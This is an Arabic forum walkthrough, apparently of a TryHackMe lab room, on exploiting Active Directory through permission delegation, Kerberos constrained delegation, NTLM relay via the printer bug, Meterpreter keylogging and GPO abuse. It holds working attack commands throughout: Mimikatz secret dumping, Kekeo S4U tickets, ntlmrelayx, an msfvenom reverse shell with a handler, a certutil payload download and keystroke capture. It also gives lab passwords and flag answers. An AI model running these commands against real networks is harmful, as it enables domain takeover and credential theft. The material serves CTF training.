مضى على الشبكة و يوم من العطاء.

[ WalkTh ] كيفية عمل Exploiting للـ Active Directory الجزء الرابع | Exploiting Active Directory 😎🔥

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

9975bcee38db4eff87972247f8895e40.png



راح نركز على الامور هاي بهاد الروم 👇

1. ما هو الـ Permission Delegation
2. استغلال الـ Kerberos Delegation
3. استغلال الـ Automated Relays
4. استغلال الـ Users
6. استغلال الـ GPOs
6. استغلال الـ Certificates
7. استغلال الـ Domain Trusts







ما هو الـ Permission Delegation


سبق وتعلمنا كيف نجهز البيئة كامله ونحل اي مشكله ممكن تواجهنا (Dns) + (vpn)

1. Dns
لكن هاي المره بننفذ هذه الامر
Bash:
systemd-resolve --interface exploitad --set-dns $THMDCIP --set-domain za.tryhackme.loc
او بنعمله يدوي عن طريق الملف الـ etc/resolv.conf
او عن طريق الامرين
Bash:
resolvectl dns exploitad $THMDCIP
resolvectl domain exploitad za.tryhackme.loc


2. VPN
بنستخدم هاد الـ VPN للروم هاي

8f2b4b129f4ee2a18565b25c5d74021c.png


يعتبر الـ Active Directory أداة قوية لمنح الأذونات والصلاحيات داخل المنظمات من خلال ميزة تُسمى Permission Delegation التي تجعل Active Directory فعّالًا جدًا. ( لا تخلط بينها وبين Kerberos Delegation الذي سيتم مناقشته لاحقًا )



نتخيل أننا بنشتغل بمؤسسة بتضم 50,000 موظف، وحرصًا على الأمان، عننا ثلاث مستخدمين فقط بإمكانهم يوصلو لبيانات الـ Domain Admins
مستحيل يقدرو الثلاثة انهم يتعاملو مع كل طلبات المستخدمين، مثل إعادة تعيين كلمات المرور....
هون بيجي دور الـ Delegation، عن طريقه بامكاننا منح فريق الدعم التقني (Helpdesk) خاصيه إعادة تعيين كلمات مرور المستخدمين بهاي الطريقة بتم إعطاؤهم صلاحيات محددة لهاد الغرض بدون منحهم صلاحيات كاملة

لكن عشان نأمن هاد النظام، لازم نتبع مبدأ أقل قدر ممكن من الصلاحيات للقيام بالمهمه المطلوبه
ومع هيك، بالمؤسسات الكبيرة، هاد الموضوع ممكن يكون صعب
في هاد الشرح راح نعرف كيف بإمكاننا نستغل بعض الأخطاء بإعدادات منح الأذونات


الـ Permission Delegation

الهجمات بتستغل الـ Permission Delegation تُعرف باسم هجمات قائمة التحكم في الوصول (ACL-based attacks)
يسمح الـ AD للمسؤولين بإنشاء إدخالات تحكم الوصول (ACEs) اللي بتشكّل قوائم التحكم في الوصول التقديري (DACLs) تأمين أي object بالـ Active Directory يكون باستخدام الـ ACEs
عن طريق تحديد الصلاحيات الممنوحة أو الممنوعه لأي object ثاني

إذا كانت إعدادات الـ ACEs خطأ بإمكاننا نستغلها مثلا إذا مُنحت صلاحية الـ ForceChangePassword لفريق الدعم التقني اللي بـ group الـ Domain Users فهذا يُعتبر خطرًا
صح بقدرو يعملو إعادة تعيين كلمات المرور لكن كمان بقدرو يعملو إعادة تعيين كلمات مرور لحسابات صلاحياتها عالية مثل حسابات الـ Domain Admins، وهاد يعني تصعيد صلاحيات



استغلال إعدادات الـ ACEs الخاطئة

في كثير إعدادات ACE ممكن تكون معموله خطأ ولكل وحده منها استغلال مختلفعن الثاني من الوثائق المفيدة عشان نفهم هاي الإعدادات هي وثيقة Bloodhound.
راح نحكي عن بعض الأمثلة الشهيرة:

الـ ForceChangePassword: بتمكنّا اننا نغير كلمة مرور المستخدمين بدون ما نعرف الكلمة الحالية
الـ AddMembers: بتمكننا نضيف مستخدمين أو مجموعات (بما في ذلك حسابنا) لمجموعة مستهدفة
الـ GenericAll: بتعطينا سيطرة كاملة على الـ object، من القدرة على تغيير كلمة المرور أو إضافة كائن AD جديد
الـ GenericWrite: بتمكننا من تعديل أي parameters غير محمية في بالـ object، مثل تشغيل سكريبت عند تسجيل دخول المستخدم
الـ WriteOwner: بتمكننا من تغيير مالك الـ object لـ اللي، اللي بمنحنا صلاحيات إضافية
الـ WriteDACL: بتمكننا نكتب ACE جديدة بالـ DACL للـ object المستهدف، مثل منح حالنا صلاحيات كاملة
الـ AllExtendedRights: بتمكننا من تنفيذ أي عملية بترتبط بالـ extended AD rights ضد الـ object المستهدف، مثل تغيير كلمة المرور

الأدوات اللازمة للاستغلال

للاستفادة من هاي الثغرات بنحتاج لطريقة عشان نتفاعل مع الـ AD
الأداتان الأفضل هما
AD-RSAT PowerShell cmdlets
PowerSploit
اختيار الأداة بعتمد على اختراق البيئة والأدوات المستخدمة لاكتشاف الهجمات


الـ Bloodhound

تم تشغيل الـ Sharphound مسبقًا وتم إرفاقه كملف مهمة.
بنفتح الـ Bloodhound بالـ AttackBox أو جهاز Kali وبنحمل البيانات بإمكاننا تشغيل Sharphound إذا بدنا بس اختصار للوقت

هذه هو الملف



لبدء Bloodhound، بنشغل neo4j باستخدام الأمر:
Bash:
neo4j console


ثم افتح الـ Bloodhound باستخدام الأمر:

Bash:
bloodhound --no-sandbox



تصعيد الصلاحيات

بنبحث عن حساب المستخدم الخاص فينا بـ Bloodhound وبنلاحظ أنه صلاحياتنا قليلة الحل هو نستهدف group الـ Tier 2 Admins، لأنم بمتلكو صلاحيات إدارية على جميع الأجهزة

1729540587406.webp


باستخدام Bloodhound بنكتشف أنه في خطأ بإعدادات تفويض الأذونات لفريق الـ IT Support لانه بامكان أي عضو بمجموعة الـ Domain Users يضيف حسابه لفريق الدعم


Bloodhound attack path


وبما أن فريق الدعم لديه صلاحية ForceChangePassword على أعضاء مجموعة Tier 2 Admins، يمكننا استغلال ذلك لتغيير كلمات مرور الأعضاء والوصول إلى حساباتهم.


تنفيذ الهجوم

عشان نضيف حسابنا لفريق IT Support بنستخدم هاد الامر على الـ PowerShell :
كود:
Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

1729783024368.webp

بنتحقق انه الامر اشتغل عن طريق الامر
كود:
Get-ADGroupMember -Identity "IT Support"

1729783054386.webp

بنستخدم الامر عشان نحدد الهدف
كود:
Get-ADGroupMember -Identity "Tier 2 Admins"

1729783414804.webp

بنغير كلمه المرور لاحد الاعضاء بالـ Tier 2 Admins
Bash:
$Password = ConvertTo-SecureString "SH3LL@#$%^&*)(" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_lawrence.lewis" -Reset -NewPassword $Password

من الممكن ان ياخذ وقت قبل ان ينفذ الامر (تقريبا 10 دقائق)
بامكاننا نستخد الامر

Bash:
gpupdate /force

عشان نحدث الـ Group Policy عطول


1729783984259.webp

بنستنا شوي وبنشغل الاوامر
بعد نجاح الهجوم بنقدر نسجل دخول للجهاز اللي غيرنا الكلمه اله


Screenshot 2024-10-24 180832.webp


الأسئلة

أي صلاحية تسمح لك ان تحدث أي باراميتر غير محمي؟
GenericWrite
ما هو الفلاق الموجود على سطح مكتب حساب Administrator على THMWRK1؟
THM{Permission.Delegation.FTW!}




استغلال الـ Kerberos Delegation

بهذا النص بنشرح تقنية هجوم على نظام Kerberos Delegation
وهو بروتوكول يستخدم بشكل شائع بالـ Active Directory لإدارة المصادقات والصلاحيات بين الأنظمة والخدمات



الـ Delegation Kerberos
التفويض باستخدام Kerberos Delegation هي عملية تمكين تطبيق من الوصول لـ موارد موجودة على خادم آخر نيابة عن المستخدم
مثلاً بحالة تطبيق ويب بحتاج يوصل لقاعدة بيانات موجودة على سيرفر مختلف بامكاننا نمكن Kerberos Delegation
عشان نسمح للحساب المسؤول عن خدمة الويب انه يطلب وصول لقاعدة البيانات نيابة عن المستخدم اللي سجل الدخول للتطبيق يعني المستخدم فقط بقدر يوصل للبيانات اللي عنده صلاحيات يطّلع عليها

أنواع الـ Kerberos Delegation

نوعين رئيسين من Kerberos Delegation:

أ - التفويض غير المحدود Unconstrained Delegation:
هاد النوع يعتبر الأقل أمانًا لانه بسمح للحساب المصرح له بالتفويض أنه يحصل على تذاكر TGT خاصة بالمستخدمين المخولين وبتم تخزينها بالذاكرة مما يعني أنه ممكن إعادة استخدامها لاحقًا
لكن بحالة تعرض النظام للاختراق بامكاننا نستغل هاي التذاكر وننتحل شخصية المستخدمين المخولين

ب - التفويض المحدود Constrained Delegation:
لتجنب المخاطر الأمنية اللي بتيجي مع التفويض الغير المحدود قدمت مايكروسوفت هاد النوع الأكثر أمانًا بـ عام 2003
بهاد النظام بامكاننا نحدد الخدمات اللي بامكاننا اعطاء الحساب صلاحيه عليها بس
هاد بقلل من المخاطر في حالة اختراق الحساب المصرح له

أمثلة على بعض الخدمات اللي بامكاننا تكوينها للـ Delegation :

الـ HTTP يُستخدم في تطبيقات الويب للسماح بالمصادقة عبر AD
الـ CIFS لتسهيل مشاركة الملفات عبر الشبكة، حيث يسمح بتفويض المستخدمين للوصول إلى المشاركة
الـ LDAP يُستخدم للتفويض في خدمة LDAP لأمور مثل إعادة تعيين كلمة المرور
الـ HOST يسمح بتفويض حساب معين لتنفيذ جميع الأنشطة على النظام المضيف

الـ MSSQL يسمح بتفويض حسابات المستخدمين للوصول إلى خدمة SQL للمصادقة في قواعد البيانات

Kerberos Delegation المعتمد على الموارد الـ RBCD

الـ Resource-Based Constrained Delegation هو نوع ثالث من الـ Delegation تم تقديمه عام 2012 بتيح تحكم اضافي وامان بهاد النوع بنقدر نسمح للخدمة نفسها تحدد أي حسابات بمكانها توخذ صلاحيات عليها هاد يعني أنه التحكم صار بايد مالك الخدمه بحدد مين بامكانه يوصلله مش المستخدمين

استغلال RBCD

إذا كان عننا الصلاحية لتكوين RBCD لخدمة معينة بامكاننا نعدل خاصية msDS-AllowedToActOnBehalfOfOtherIdentity لحساب الـ AD اللي بنتحكم فيه وهيك بامكاننا نستخدم هاد الحساب عشان نوصل للخدمه المطلوبة

استغلال الـ Constrained Delegation

رغم أن الـ Constrained Delegation أكثر أمانًا إلا أنه ممكن استغلاله بهجمات معينة
مثلا إذا تمكن المهاجم من اختراق حساب الـ AD اللي عنده صلاحيات محدوده فـ بامكانه يولد تذكرة TGT ويستخدمها عشان يطلب وصول لخدمات ثانيه نيابة عن المستخدم

استغلال الـ Constrained Delegation (مثال عملي)

بهاي الخطوه بنشرح كيف ننفذ هجوم على Constrained Delegation باستخدام أدوات مثل PowerSploit و Mimikatz :
بنفوت على الحساب اللي قدرنا نغير كلمه السر اله (t2_lawrence.lewis)


بنسجل عن طريق هاد الامر


Bash:
ssh za.tryhackme.loc\\[email protected]
وبنحول لباور شل

1. التعرف على الحسابات المخولة بالتفويض :
باستخدام أمر PowerShell ـ Import-Module C:\Tools\PowerView.ps1 مثل Get-NetUser -TrustedToAuth بامكاننا نحدد الحسابات اللي الها صلاحيات على خدمات معينة



1748160709659.webp

اذا كان الملف مش موجود بننزله على جهازنا من الرابط بعدها بننقله عن طريق الامر
Bash:
scp /home/kali/PowerSploit/Recon/PowerView.ps1 [email protected]:C:/Tools/PowerView.ps1

1729938163230.webp

2. بنستخدم Mimikatz عشان نستخراج الـ secrets :
بعد ما نحصل على وصول إداري بامكاننا نستخدم Mimikatz عشان نستخراج بيانات المصادقة المخزنة بالذاكرة مثل كلمات المرور والتذاكر المخزنة...

7. خطوات الهجوم بالتفصيل

  • أول اشي بنستخدم Kekeo عشان نولد تذاكر TGT بناءً على الحساب المخول بالتفويض
  • بعد هيك بنستخدم التذاكر اللي بتم إنشائها عشان نطلب تذاكر خدمة TGS عشان نوصل لخدمات معينة مثل HTTP و WSMAN على الخادم المستهدف

8. أدوات الهجوم

الـ Kekeo بنستخدمها عشان نولد تذاكر Kerberos واستغلالها
الـ Mimikatz بنستخدمها عشان نستخرج كلمات المرور والتذاكر المخزنة بذاكرة النظام

مثال على استخدام Mimikatz

بنشغل الاداه ( الخط الاول )

بنرفع صلاحياتنا ( الخط الثاني )

بنستخرج الـ secrets ( الخط الثالث )

Bash:
mimikatz.exe
token::elevate
lsadump::secrets

Screenshot 2024-10-24 221541.webp


بعد ما نفتح فتح الـ Kekeo بنستخدم الأمر هاد عشان ننشئ TGT (تذكرة التوزيع المبدئية) باستخدام بيانات المستخدم svcIIS

Bash:
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:[SIZE=5][B]password1@[/B][/SIZE]


الـ user اسم المستخدم اللي اله صلاحيات تفويض مقيدة ( svcIIS )
الـ
domain نطاق الهجوم za.tryhackme.loc
الـ
password كلمة المرور المرتبطة بحساب الـ ( svcIIS )

الهدف من هاي الخطوات :

عشان نحصل على TGT بنحتاج الـ TGT اللي بسمحلنا نولد تذاكر خدمات TGS لحساب svcIIS
عشان ننشئ PSSession بنحتاج نجري هاي العمليه على لكل الخدمات HTTP و WSMAN عشان يسمحلنا ننشئ جلسة PSSession على سيرفر THMSERVER1



1748161432040.webp


طلب تذكرة S4U TGS نيابةً عن المستخدم t1_trevor.jones اللي بكون اله صلاحيات اعلا بما انه T1 لخدمة HTTP على الخادم THMSERVER1:
Bash:
tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

1748161536930.webp

طلب تذكرة S4U TGS نيابةً عن المستخدم t1_trevor.jones اللي بكون اله صلاحيات اعلا بما انه T1 لخدمة WSMAN على الخادم THMSERVER1:
Bash:
tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc

1748161609026.webp


هيك بنلاحظ انه كل اشي تمام وبنقدر عن طريقهن نتصل على الخدمتين ( بنقدر نتاكد منهن عن طريق امر klist )

Screenshot 2025-05-25 112953.webp

الخلاصة

التفويض بالـ Kerberos هي أداة قوية لإدارة المصادقة بين الأنظمة ولكنها ممكن تكون مصدر خطر أمني إذا ما تم تكوينها بشكل صحيح


أي نوع من أنواع تفويض Kerberos يسمح بتفويض جميع الخدمات؟
Unconstrained Delegation
ما نوع تفويض Kerberos الذي يسمح للخدمة بتحديد من يُسمح له بالتفويض إليها؟
Resource-Based Constrained Delegation
ما هي خدمة التفويض المقيد التي تسمح بالوصول إلى نظام الملفات الخاص بالنظام عبر التفويض؟
CIFS
ما قيمة العلم المخزن في دليل سطح المكتب لمستخدم المسؤول على THMSERVER1 (flag2.txt)؟
THM{Constrained.Delegation.Can.Be.Very.Bad}



استغلال المصادقة المترابطة (Automated Relays)



الهدف نتعرف كيف نستغل المصادقات التلقائية اللي بتحدث بين الأجهزة على الشبكة, هاي المصادقات بتمر عبر الشبكة باستمرار
بامكاننا نعترضها عشان نوصل لصلاحيات ثانيه
او بامكاننا نجبر الجهاز انه يعمل مصادقة النا وهاد يُعرف بـ التحفيز القسري للمصادقة (Authentication Coercion)


حسابات الأجهزة (Machine Accounts)

كل جهاز بعمل بنظام ويندوز في اله حساب مرتبط فيه زي ما المستخدم بمتلك حساب خاص فيه
اسم حساب الجهاز بنتهي دائمًا بعلامة $ مثل : $server01
كلمات مرور حسابات الأجهزة طويلة جدًا (120 حرفًا باستخدام ترميز UTF16) ويتم تغييرها تلقائيًا كل 30 يومًا

تُستخدم هذه الحسابات في خدمات متعددة مثل:
1. مزامنة البيانات بين وحدات الـ Domain Controllers
2. طلب شهادات الأمان باستخدام حساب الجهاز

في حاله خاصة :

ببعض الأحيان بحصل جهاز على صلاحيات إدارية على جهاز ثاني بنفس الشبكة

هاد الاشي شائع بإعدادات مثل :
1. وحدات التحكم بالمجال Domain Controllers
2. الأنظمة المتزامنة مثل قواعد بيانات SQL

الهجوم هون:

بما أنه الحساب بالجهاز ممكن يمتلك صلاحيات جهاز ثاني بامكاننا نستغل هاي الصلاحيات عشان نجبر الجهاز المستهدف انه يعمل مصادقة النا

البحث عن حسابات الأجهزة التي تمتلك صلاحيات إدارية

بنحتاج لأداه BloodHound عشان نحدد العلاقات بين الأجهزة
باستخدام استعلام Cypher مخصص بامكاننا نكشف عن الأجهزة الي بتمتلك علاقات إدارية على أجهزة ثانيه :


Bash:
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

Screenshot 2024-11-22 222431.webp

نتيجة البحث :

هذا الاستعلام بظهرلنا إذا كان جهاز معين ( مثل THMSERVER2 ) على اليسار بمتلك صلاحيات إدارية على جهاز ثاني ( مثل THMSERVER1 ) على اليمين

1732303790170.webp

ثغرة الطباعة (The Printer Bug)

هي ثغرة موجودة بـ بروتوكول الطباعة الخاص بويندوز MS-RPRN بتسمح لمستخدم دومين بإجبار جهاز مستهدف على الاتصال بعنوان IP محدد

الشروط اللازمة لتنفيذ الهجوم:

امتلاك Credentials صالحة على الدومين
وجود اتصال بالشبكة مع خدمة SMB على الجهاز المستهدف
أن يكون جهاز الضحية مشغلًا لخدمة الطباعة Print Spooler Service
أن تكون خاصية توقيع SMB غير مفروضة SMB Signing Not Enforced

عشان نتاكد من الشروط بنبدا نتاكد من

1. تشغيل خدمة الطباعة باستخدام الـ PowerShell :

Bash:
GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc


إذا ظهر لنا خطأ Access Denied بامكاننا نحاول مع هاد الأمر :
Bash:
Get-PrinterPort -ComputerName THMSERVER2

1748237506959.webp

2. بنتأكد من خاصية الـ SMB Signing :

بنستخدم Nmap عشان نتحقق اذا كان توقيع الـ SMB مفروض على الأجهزة :
Bash:
sudo nmap -Pn -p445 --script=smb2-security-mode THMSERVER1 THMSERVER2


Screenshot 2024-11-23 100314.webp


إذا كانت النتيجة بتشير لتوقيع الـ SMB مسموح لكنه غير مفروض ( نفس اللي بالصوره ) فـ هاد يعني أن الهجوم ممكن

استغلال المصادقات المترابطة (Exploiting Authentication Relays)

خطوات الهجوم:

إعداد خدمة التصيد :

على جهازنا بنستخدم أداة Impacket لإعداد خادم SMB خبيث عن طريق الامر :

Bash:
python3.9 ntlmrelayx.py -smb2support -t smb://THMSERVER1_IP -debug

بندخل الـ IP للجهاز المستهدف THMSERVER1 عشان نتجنب استخدام الـ Kerberos


1748205080938.webp


1733516104057.webp





إجبار الجهاز على المصادقة :
من جهاز وسيط THMWRK1 (ssh laura بالصوره اللي تحت)
بنستخدم أداة
SpoolSample عشان نجبر الـ THMSERVER2 على المصادقة على خادمنا :

Bash:
SpoolSample.exe THMSERVER2 "Attacker IP"
بعد ما ننزل الاداه من github بنحولها لـ EXE



إذا نجحت العملية خادم الـ SMB الخبيث الخاص فينا بستقبل محاولة مصادقة من الجهاز المستهدف THMSERVER2 وبمررها لـ THMSERVER1

بامكاننا الآن ننفذ أوامر على الجهاز الذي بنملك صلاحيات عليه :
Bash:
python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug

1748206526278.webp


1748206507186.webp

كم مرة يتم تغيير كلمات مرور حسابات الأجهزة تلقائيًا؟
30
ما الذي يجب أن لا يكون مفروضًا إذا أردنا استغلال محاولات مصادقة SMB؟
SMB Signing
THM{Printing.Some.Shellz}


استغلال الـ Users



هيك وصلنا لمرحلة متقدمة بعملية الـ Exploitation هيك عننا وصول إداري كامل للـ workstations والـ servers يعني تقريبًا بنقدر ننفذ عمليات ما بعد الـ Exploitation على أي نظام من المستوى الأول والثاني لكن لسا بدنا نروح أبعد من هيك بهاد الجزء يعتبر جزء عمليات ما بعد الـ Exploitation لكن هي كمان مفيدة جدًا لما نكون لسا بنحاول نستغل الشبكة عشان نوصل لمكان مناسب عشان ننفذ اهدافنا


المستخدمين وسلوكهم
المستخدمين غالبًا بكونوا الحلقة الأضعف مثل وضع كلمات المرور ضعيفة ومثل منح صلاحيات زائدة عن الحاجة

راح نركز على عنصرين رئيسيين:ط

إدارة بيانات الاعتماد: كيف بخزن المستخدم بيانات اعتمادهم بالـ AD هاد مهم لأنه المستخدمين ممكن يكون عندهم مجموعات متعددة من بيانات الاعتماد وتذكرها كلها ممكن يكون صعب

تسجيل المفاتيح: غالبًا أثناء الـ Exploitation بنحتاج نفهم كيف بتفاعل المستخدم مع النظام مع لقطات الشاشة مع تسجيل المفاتيح كل اشي بكون مفيد حسب منظورنا "المهاجم"




البحث عن بيانات الاعتماد
بعد ما اخترقنا THMSERVER1، لازم نبحث عن أي معلومات مفيدة مثلا بنشوف مجلدات المستخدمين وبنشوف إذا في أي معلومات قيمة فيهم
واحنا بنستكشف لازم نوصل لملف kdbx. بحث سريع على جوجل بأكدلنا إنه هاد الملف قيم جدًا! بنقدر نستخدم أمر بالـ Meterpreter عشان نسترد هاد الملف

الملف هو عبارة عن قاعدة بيانات للاعتمادات المشكلة إنه القاعدة مشفرة بكلمة مرور ممكن نحاول نكسر كلمة المرور لكن أي شخص بستخدم قاعدة بيانات للاعتمادات عادةً بكون عنده ذكاء إنه يخلي كلمة المرور الأولية آمنة ممكن يكون عننا نجاح أكبر او وصول اكبر لو شفنا كيف بتفاعل المستخدم مع هاي القاعدة



SYSTEM أحيانًا يكون مفرط الصلاحيات
بالـ Meterpreter فيه مسجل مفاتيح مدمج هاد مفيد لاستخراج ضغطات المفاتيح للمستخدم. لكن ما بنقدر نبدأ هاد المسجل ونستناه يزبط
لأنه الشل تبعنا حاليًا شغال في بسياق الـ SYSTEM. الـ SYSTEM ما راح يضغط أي مفاتيح ف ما رح نستفيد عشان نلتقط بيانات الاعتماد للمستخدم الصحيح لازم نتأكد إنه الشل شغال بسياق المستخدم المستهدف

لحسن الحظ الـ Meterpreter بوفرلنا خاصية الـ migrate وبما إننا شغالين كـ SYSTEM، المفروض نقدر ننتقل لأي عملية
عننا "تنفيذ كود عن بُعد" على THMSERVER1، بنستخدم هاد عشان نحصل على شل Meterpreter إذا بدك تراجع كيف كننا نعمل هيك عن طريق الـ Meterpreter والـ Metasploit

راجع المقالات بالموضوع اللي مثبت (Jr pt)
لكن لملخص سريع بتقدر تستخدم الأمر هاد عشان تنشئ حمولة PowerShell Meterpreter:


Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1

بعدين بتقدر تستخدم الأمر هاد عشان تنشئ الـ listener المرتبط بالـ msfconsole:

Bash:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT 'listening port'; exploit"

بتقدر تستضيف شل Meterpreter باستخدام خادم ويب Python وبعدين تنسخه باستخدام اشي زي هيك:

Bash:
certutil.exe -urlcache -split -f http:///shell.ps1

بمجرد ما يكون عننا شل Meterpreter، بنقدر نكمل

او بكل بساطه بنقدر نعمل الشل عن طريق الموقع revshells.com



Screenshot 2025-05-26 124520.webp

الخطوة الأولى هي تشوف إذا كان عند المستخدمين أي عمليات شغالة على هذا الجهاز:

Bash:
meterpreter> ps | grep "explorer"



1748253376594.webp
إذا ما لقيت عملية explorer.exe للمستخدم trevor.local، بنقدر نبدأ العملية احنا بإتباع الخطوات التالية
إعادة تعيين كلمة مرور المستخدم trevor.local باستخدام الأمر التاي وبنشغل الاوامر التاليه:


1748253426753.webp


كود:
net user trevor.local <chosen password>
C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1
shutdown -r

بمجرد ما يرجع الخادم يشتغل المفروض بنشوف عملية الـ explorer

1748255280495.webp

المستخدم عنده جلسة نشطة على THMSERVER1. خلينا ننتقل لعملية هاد المستخدم
أكثر شي آمن عادة بكون اشي زي explorer.exe:

Bash:
meterpreter> migrate 3632

بنقدر نتأكد إننا شغالين بسياق المستخدم المستهدف باستخدام الأمر getuid:
Bash:
meterpreter> getuid

1748255365240.webp
الآن جاهزين نبدأ مسجل المفاتيح:
Bash:
meterpreter> keyscan_start

الآن لازم نكون صبورين ونستنى حتى نلقط بيانات اعتماد بنعطيها كم دقيقة وبعدها بنشغل الأمر التالي عشان نفرغ ظغطات المفاتيح المسجلة:
Bash:
meterpreter> keyscan_dump

1748255637590.webp


هاد مثال بسيط لاستهداف مستخدميين الـ AD في أشياء كثيرة ثانية ممكن نعملها المهم إننا نوجهه المستخدمين حسب منهجية استغلالنا للـ AD عشان نجاوب على الأسئلة راح نحتاج Keepass تم تثبيته على AttackBox بتقدر تبحث عنه وتشغله
إذا كنت بتستخدم جهازك على معظم توزيعات لينكس
Bash:
sudo apt install keepassx
بشتغل أو بتقدر تنزله من
هون

وتأكد إنك بتستخدم Meterpreter عشان تنزل قاعدة بيانات Keepass لجهازك
إذا كنت بتستخدم Kali تأكد إنه المستخدم kali بمتلك ملف القاعدة قبل ما تفتحه وإلا ممكن يقفل القاعدة ويعطيك نتائج غلط


بنبحث عنه
1748255990798.webp

بنستخدم هاد الامر حتى نبحث عن الملفات
كود:
search -f *.kdbx



1748256845911.webp


1748256820013.webp



بعد ما ننزله بنقدر نفتحه معنا كلمه السر (بنقدر هيك لو ما معنا نحاول نطلعها بس شبه عالفاضي)

1748256272715.webp


1748257202412.webp


وبكون في كمان اسم المستخدم svcServMan وكلمه السر Sup3rStr0ngPass!@
1748257244910.webp
ما هو التطبيق المستخدم لفتح قاعدة بيانات الاعتمادات .kdbx؟
Keepass
ما هو أمر Meterpreter اللي بنستخدمه عشان ننتقل من سياق SYSTEM لسياق المستخدم؟
migrate
ما هي كلمة مرور قاعدة بيانات الاعتمادات؟
Imreallysurenoonewillguessmypassword
ما هي قيمة العلم المخزن في قاعدة بيانات الاعتمادات؟
THM{AD.Users.Can.Be.Very.Bad}





استغلال الـ GPOs

تسجيل مفاتيح المستخدم سمحلنا بفك تشفير قاعدة بيانات الاعتمادات الخاصة فيه وهاد وفرلنا بيانات اعتماد ممكن تكون مفيدة عشان نوصل لهدفنا باستغلال الـ AD وبالتحديد حساب الـ svcServMan بنحتاج نعمل شوية استكشاف عشان نعرف بشو ممكن نستخدم هاي البيانات
عندنا بيانات Sharphound اللي بنقدر نستخدمها باستخدام خاصية البحث بالـ Bloodhound خلينا نشوف الصلاحيات اللي عند الحساب اللي اكتشفناه:


صلاحية واحدة بالذات بتبرز لهذا الحساب، وهي ملكية Group Policy Object وكمان لما نعمل شويه بحث بنشوف انه الـ GPO مطبق على جهاز THMSERVER2:



1748262201171.webp



1748264308481.webp


هاد ممكن يوفرلنا فرصة ممتازه حتى نعزز استغلالنا لـ AD!

Group Policy Objects
بتذكرو لما حكينا عن مجلد SYSVOL بالمقال Enumerating Active Directory ؟ هاد المجلد هو اللي بخزن فيه الـ GPOs لـ AD حتى يتم تكراره على الأجهزة المنضمة للمجال
الـ GPO هو مجموعة افتراضية من إعدادات السياسات كل GPO عنده اسم فريد يسمى بـ GUID عشان هيك إذا حاولت تقرأ محتويات مجلد SYSVOL ما راح يكون منطقي مع كل الأسماء العشوائية

كل جهاز ويندوز عنده Local Policy Configuration من الـ Configuration المهمه مثل:


- تكوين التطبيقات للخدمات مثل الجدار الناري ومثل مضاد الفيروسات و الـ Applocker
- عضوية المجموعات المحلية مثل مجموعة الإداريين أو مستخدمي سطح المكتب البعيد
- تكوين بدء التشغيل مثل السكريبتات اللي لازم تنفذ عند بدء التشغيل
- إعدادات الأمان والبروتوكولات مثل دعم SMBv1

هاي أمثلة قليلة في كمية كبيرة من خيارات الـ Configuration اللي ممكن نعيّنها


إدارة السياسات الجماعية
إذا كان عننا جهاز ويندوز واحد بس سهل نغير الـ Local Policy Configuration مباشرة على الجهاز لكن بالمؤسسات الكبيرة بنحتاج آلية لنشر او تفعيل الـ Configuration من مكان مركزي هون بيجي دور الـ Group Policy Management إدارة السياسات الجماعية او ما يرمز له بالـ GPM بدل تعريف الـ Policy محليًا على كل جهاز الـ GPM بسمحلنا نعرف الـ Policy مباشرة على هيكل الـ AD بالأساس بنقدر نعرف الـ GPOs للـ AD Object مثل وحدة تنظيمية OU أو مجموعة معينة.

زي ما حكينا قبل الأجهزة اللي داخله بالمجال بتسحب كل السياسات من الـ SYSVOL بشكل دوري وبتطبق اللي بناسبها
افتراضيًا الـ Policy بتتكرر كل 15 دقيقة من خلال تطبيق gpupdate لكن بنقدر كمان ننفذ هاد التطبيق يدويًا من الـ CMD عشان نطبق السياسات فورًا



استغلال GPOs
رغم إنه في طرق كثيرة لاستغلال الـ GPOs فيها راح نلتزم بالحل البسيط وهو إضافة حساب AD بنتحكم فيه بمجموعة الـ local Administrators والـ local Remote Desktop هاد راح يسمحلنا بصلاحيات إدارية على THMSERVER2 والقدرة على الدخول عن طريق الـ RDP ممكن كمان نستخدم منفذ الـ SSH المكشوف لكن مش كل المؤسسات بتكون مطورة لتوفير وصول SSH عشان هيك، وصول الـ RDP أو تقنيات الـ lateral movement التقليدية مثل SMBExec أكثر أمان

عشان نعدل الـ GPO بنحتاج ندخل على إدارة الـ Group Policy كمستخدم AD اللي عنده الصلاحيات المطلوبة

ممكن ندخل على THMSERVER1 عن طريق الـ RDP كالمستخدم لكن هاد ممكن يطرد المستخدم من جلسته النشطة وهيك ممكن يعرف او نثير الشكوك ف الحل ندخل على THMWRK1 عن طريق RDP باستخدام حسابنا العادي أو حساب الـ T2 للإدارة وبنحقن بيانات اعتماد المستخدم بالذاكرة باستخدام runas وبنفتح MMC عشان نعدل الـ GPO

عشان تتذكرو أمر runas راجعو المقالات السابقه
بنسجل دخول عن طريق الامر

كود:
xfreerdp /u:barbara.reid /p:Password1 /v:10.200.12.248

بننفذ هاد الامر من خلال نافذة CMD إدارية:
Bash:
C:>runas /netonly /user:za.tryhackme.loc<AD Username> cmd.exe

1748897565398.webp

لما يطلب مننا نقدم كلمة المرور المرتبطة بالحساب
عشان نتأكد إننا قدمنا بيانات الاعتماد الصحيحة بنقدر نشغل (بـ CMD جديدة)
Bash:
dir \za.tryhackme.loc\sysvol


1748897650818.webp
بنقدر نبدأ الـ Microsoft Management Console:
Bash:
C:>mmc


الآن بدنا نضيف الـ Snap-in لإدارة السياسات الجماعية:
بنظغط على File بعدها Add/Remove Snap-in وبنختار Group Policy Management وبنظغط على Add بعدها OK


1748897696402.webp

المفروض هسا نشوف الـ GPOs للدومين za.tryhackme.com:

